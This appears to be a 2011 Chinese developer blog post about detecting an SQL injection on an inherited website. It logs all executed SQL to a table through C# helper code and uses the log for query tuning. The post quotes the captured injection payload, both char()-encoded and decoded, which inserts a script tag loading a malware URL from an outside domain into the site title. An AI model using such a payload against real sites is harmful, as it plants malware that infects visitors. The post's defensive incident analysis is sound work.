记一次成功的sql注入入侵检测附带sql性能优化

标签： 成功 sql 入侵检测 | 发表时间：2011-09-25 16:52 | 作者：叶鹏 Bloger
出处：http://www.cnblogs.com/

很多同学和园友都遇到过sql注入的，其中大部分都是代码的不严谨造成的，都是犯过很多错误才学会认真起来。

但是如果是让你接手一个二等残废的网站，并让你在上面改版，而且不能推翻式改版，只能逐步替换旧的程序，那么你会非常痛苦，例如我遇到的问题：

问题1.                                                                                                       

老板对你说，以前刚做完网站好好了，没有出现木马，怎么你来了，就会出现木马，先别说了，赶紧解决问题，我彻底无语，但是如果争吵，其实证明你和老板一样无知，拿出证据和事实分析来让公司其他稍微懂技术的一起来证明，公司网站被挂马不是你来了的错。

如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇  Fckeditor使用笔记 ，其实很多人都遇到过，也解决过，都是小问题，但是让你老板明白比解决漏洞问题更蛋疼，我那解释的叫一个汗啊，恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马，然后演示怎么上传木马，奶奶的，黑客教程普及啊。

问题2.                                                                                                        

网站又出现问题，上次的问题解决了不过两个月，网站又被入侵挂马，如是老板这次再说因为我来了才出问题，立马走人，这就是为什么不能更不懂技术的人硬碰硬，更不能和你的老板来说，说了你又不懂。

但是要命的是网站是以前的技术开发的二等残废，在别个的cms上修改的，我必须保证网站在的开发的同时旧的模块还可以使用，通过逐步更新的方法将网站底层翻新，但是那么多页面，你很难一个一个去检测那个页面有漏洞，如是写出下面的检测代码，没想到这么简单的就搞定了，并且可以通过此方法优化你的sql。

第一步建立一个sql日志表                                                                                

CREATE TABLE [dbo].[my_sqllog](
    [id] [bigint] IDENTITY(1,1) NOT NULL,
    [hit] [bigint] NULL,
    [sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [begintime] [datetime] NULL,
    [endtime] [datetime] NULL,
    [fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
    [lastelapsedtime] [bigint] NULL,
 CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED 
(
    [id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

记录sql语句、此sql语句被执行次数，参数及值，记录开始时间，结束时间，来自哪个页面，ip和此条语句执行时间(暂时没用)
第二步在sqlhelper里写记录代码                                                                    

两个方法本来可以写成private的，但是此二等残废的网站其他地方用的别的sqlhelper类，就直接调用此处通过合理优化的sqlhelper类的方法了。

代码1：插入日志

public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
        {
            #region 参数处理
            string colums = "";
            string dbtypes = "";
            string values = "";
            string paramdetails = "";


            if (cmdParams != null && cmdParams.Length > 0)
            {
                foreach (DbParameter param in cmdParams)
                {
                    if (param == null)
                    {
                        continue;
                    }

                    colums += param.ParameterName + " ";
                    dbtypes += param.DbType + " ";
                    values += param.Value + "；";
                }

                paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
            }
            string fromurl = "";
            if (System.Web.HttpContext.Current!=null)
            {
                fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
            }
           // commandText = commandText.Replace("'","‘").Replace(";","；");
            SqlParameter[] parameters = new SqlParameter[]
                                          {
                                              new SqlParameter("@hit",1),
                                              new SqlParameter("@sqltext",commandText),
                                              new SqlParameter("@paramdetails",paramdetails),
                                              new SqlParameter("@begintime",DateTime.Now),
                                              new SqlParameter("@endtime",DateTime.Now),
                                              new SqlParameter("@fromurl",fromurl),
                                              new SqlParameter("@ip",Web.PressRequest.GetIP()),
                                              new SqlParameter("@lastelapsedtime",0), 
                                          };

           
            #endregion

            using (DbConnection connection = Factory.CreateConnection())
            {
                connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;

                string sql = "";

                // 执行DbCommand命令,并返回结果.
                int id =
                    Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
                                                                  "select top 1 id from my_sqllog where sqltext=@sqltext",
                                                                  new SqlParameter("@sqltext", commandText)));
                if (id > 0)
                {
                    sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
                }
                else
                {
                    sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
                }
                // 创建DbCommand命令,并进行预处理
                DbCommand cmd = Factory.CreateCommand();
                bool mustCloseConnection = false;
                PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
                // 执行DbCommand命令,并返回结果.
                int retval = cmd.ExecuteNonQuery();

                // 清除参数,以便再次使用.
                cmd.Parameters.Clear();
                if (mustCloseConnection)
                    connection.Close();
                return retval;
            }


          
        }

代码2：判断此条sql是否存在

private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
        {

            if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
            // 创建并打开数据库连接对象,操作完成释放对象.
            using (DbConnection connection = Factory.CreateConnection())
            {
                if (connection == null) throw new ArgumentNullException("connection");

                //connection.Close();
                connection.ConnectionString = GetRealConnectionString(commandText);
                connection.Open();

                // 创建DbCommand命令,并进行预处理
                DbCommand cmd = Factory.CreateCommand();

                bool mustCloseConnection = false;
                PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

                // 执行DbCommand命令,并返回结果.
                object retval = cmd.ExecuteScalar();

                // 清除参数,以便再次使用.
                cmd.Parameters.Clear();

                if (mustCloseConnection)
                    connection.Close();

                return retval;
            }

        }

第三部在你的每个执行sql语句的方法里加入以下代码，不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上

            //执行sql之前进行日志记录操纵
            int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

代码示例:

View Code 
        public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            //connection.Close();
            connection.ConnectionString = GetRealConnectionString(commandText);
            connection.Open();

            // 创建DbCommand命令,并进行预处理
            DbCommand cmd = Factory.CreateCommand();

            bool mustCloseConnection = false;
            PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
            //执行sql之前进行日志记录操纵
            int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
            // 执行DbCommand命令,并返回结果.
            object retval = cmd.ExecuteScalar();

            // 清除参数,以便再次使用.
            cmd.Parameters.Clear();

            if (mustCloseConnection)
                connection.Close();

            return retval;
        }

然后你会发现入侵的入口被记录下来了，后面方框里的就是构造注入的sql


构造sql如下：

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

转码后变成这样了：

　　

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://dfrgcc.com/ur.php></script>')

这个就是木马地址，没事你就别点了，好奇害死猫。

小结：                                                                                                        

既然知道入口就知道怎么补救了吧，把string类型该过滤的都过滤掉，int类型的就得是int类型，别让数据库替你隐式转。通过此sql日志记录，你应该发现一点那个hit还是有点价值的。

通过select top 100 * from my_sqllog order by hit desc你会发现你写的那么多sql原来真垃圾，在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。

抛砖引玉，望高手批评，以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站，伤不起。

作者：jqbird

出处：http://www.cnblogs.com/jqbird/
本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。




作者: 叶鹏 发表于 2011-09-25 16:52 原文链接

评论: 26　查看评论　发表评论

最新新闻：
· 天宫一号将于29日21时16分发射 11月1日发神八(2011-09-26 13:59)
· Google+是工具，Facebook是玩具(2011-09-26 13:57)
· 《暗黑8》算神马 巴基斯坦山寨游戏雷爆你(2011-09-26 13:51)
· 苹果零售店国内扩张受山寨拖累 香港店至关重要(2011-09-26 13:37)
· 高二男生沉迷网游现实演绎买凶杀人(2011-09-26 13:35)

编辑推荐：.NET中的加密算法总结

网站导航：博客园首页  我的园子  新闻  闪存  小组  博问  知识库

相关 [成功 sql 入侵检测] 推荐：

记一次成功的sql注入入侵检测附带sql性能优化

- Bloger - 博客园-首页原创精华区
很多同学和园友都遇到过sql注入的，其中大部分都是代码的不严谨造成的，都是犯过很多错误才学会认真起来. 但是如果是让你接手一个二等残废的网站，并让你在上面改版，而且不能推翻式改版，只能逐步替换旧的程序，那么你会非常痛苦，例如我遇到的问题：.                                                                                                       .

Linux入侵检测基础

- - WooYun知识库
在linux中有5个用于审计的命令：. last：这个命令可用于查看我们系统的成功登录、关机、重启等情况；这个命令就是将/var/log/wtmp文件格式化输出. lastb：这个命令用于查看登录失败的情况；这个命令就是将/var/log/btmp文件格式化输出. lastlog：这个命令用于查看用户上一次的登录情况；这个命令就是将/var/log/lastlog文件格式化输出.

入侵检测工具rkhunter安装

- - C1G军火库
rkhunter是Linux下的一款开源入侵检测工具. rkhunter具有比 chrootkit更为全面的扫描范围. 除rootkit特征码扫描外，rkhunter还支持端口扫描，常用开源软件版本和文件变动情况检查等. rkhunter的官方网站位于 http://www.rootkit.nl/，目前最新的版本是rkhunter-1.3.8.

开源入侵检测系统Snort V2.9.4.1发布

- - FreebuF.COM
Snort是一个多平台(Multi-Platform),实时(Real-Time)流量分析，网络IP数据包(Pocket)记录等特性的强大的网络入侵检测/防御系统(Network Intrusion Detection/Prevention System),即NIDS/NIPS. Snort符合通用公共许可(GPL——GUN General Pubic License),在网上可以通过免费下载获得Snort,并且只需要几分钟就可以安装并开始使用它.

著名开源入侵检测系统(IDS/IPS)：Snort V2.9.5发布

- - FreebuF.COM
Snort是一个多平台(Multi-Platform),实时(Real-Time)流量分析，网络IP数据包(Pocket)记录等特性的强大的网络入侵检测/防御系统(Network Intrusion Detection/Prevention System),即NIDS/NIPS. 在全球拥有百万级的下载量和近400,000的注册用户，已经成为IPS的标准.

浅谈大型互联网企业入侵检测及防护策略

- - 美团点评技术团队
如何知道自己所在的企业是否被入侵了. 是没人来“黑”，还是因自身感知能力不足，暂时还无法发现. 其实，入侵检测是每一个大型互联网企业都要面对的严峻挑战. 价值越高的公司，面临入侵的威胁也越大，即便是Yahoo这样的互联网鼻祖，在落幕（被收购）时仍遭遇全量数据失窃的事情. 安全无小事，一旦互联网公司被成功“入侵”，其后果将不堪想象.

PL/SQL动态SQL(原创)

- - ITeye博客
使用动态SQL是在编写PL/SQL过程时经常使用的方法之一. 很多情况下，比如根据业务的需要，如果输入不同查询条件，则生成不同的执行SQL查询语句，对于这种情况需要使用动态SQL来完成. 再比如，对于分页的情况，对于不同的表，必定存在不同的字段，因此使用静态SQL则只能针对某几个特定的表来形成分页.

Derby SQL 分页

- - ITeye博客
    之前在网上看到有人问 Derby SQL 分页实现的问题，网上有人给出这样的解决方案，SQL 如下：. 其实，这样的分页查询，性能不理想，我试过在 300W 数据量中采用这种分页方式，需要 20~30秒之久；其实 Derby 10.6 以上版本有更好的分页支持，直接给出 SQL 实现如下：.

SQL Server--索引

- - CSDN博客推荐文章
         1,概念:  数据库索引是对数据表中一个或多个列的值进行排序的结构,就像一本书的目录一样,索引提供了在行中快速查询特定行的能力..             2.1优点:  1,大大加快搜索数据的速度,这是引入索引的主要原因..                             2,创建唯一性索引,保证数据库表中每一行数据的唯一性..

MySql动态SQL

- - SQL - 编程语言 - ITeye博客
13.7. 用于预处理语句的SQL语法. MySQL 5.1对服务器一方的预制语句提供支持. 如果您使用合适的客户端编程界面，则这种支持可以发挥在MySQL 4.1中实施的高效客户端/服务器二进制协议的优势. 候选界面包括MySQL C API客户端库（用于C程序）、MySQL Connector/J（用于Java程序）和MySQL Connector/NET.